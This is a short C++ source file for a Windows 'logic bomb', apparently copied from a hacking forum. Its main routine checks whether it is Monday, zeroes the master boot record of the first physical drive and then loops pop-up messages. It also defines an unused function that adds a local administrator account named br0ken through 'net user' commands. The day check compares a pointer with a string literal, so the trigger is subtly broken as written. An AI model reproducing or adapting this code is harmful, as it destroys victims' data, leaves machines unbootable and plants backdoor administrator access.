logic-bomb.cpp

//copied from http://www.rohitab.com/discuss/topic/43395-c-logic-bomb-monday-virus/

// monday virus
// overwrites MBR, but only on monday.
 
#include <Windows.h>
#include <iostream>
#include <ctime>
#include <stdio.h>
 
#define MBR_SIZE 512
 
using namespace std;
 
int ZeroMBR(void) {
    DWORD write;
    char data[MBR_SIZE];
 
    ZeroMemory(&data, sizeof(data));
 
    HANDLE disk = CreateFile((LPCSTR)"\\\\.\\PhysicalDrive0", GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
    WriteFile(disk, data, MBR_SIZE, &write, NULL);
    CloseHandle(disk);
 
 
    return 0;
}
 
void AddAdminUser(void) {
    char * adduser = "net user /add br0ken br0ken";
    char * addasadmin = "net localgroup administrators br0ken /add";
 
    WinExec((LPCSTR)adduser, 0);
    WinExec((LPCSTR)addasadmin, 0);
}
 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
    time_t rawtime;
    struct tm * timeinfo;
    char buffer[100];
 
    time(&rawtime);
    timeinfo = localtime(&rawtime);
 
    strftime(buffer, sizeof(buffer), "%A", timeinfo);
 
    const char * str(buffer);
 
    if (str == "Monday") {
        ZeroMBR();
 
        while (1) {
            int msgBox = MessageBox(NULL, (LPCSTR)"hi", (LPCSTR)"I don't like ur computer", MB_OK);
        }
 
    }
 
    MessageBox(NULL, (LPSTR)str, (LPSTR)str, MB_OK);
 
    return 0;
}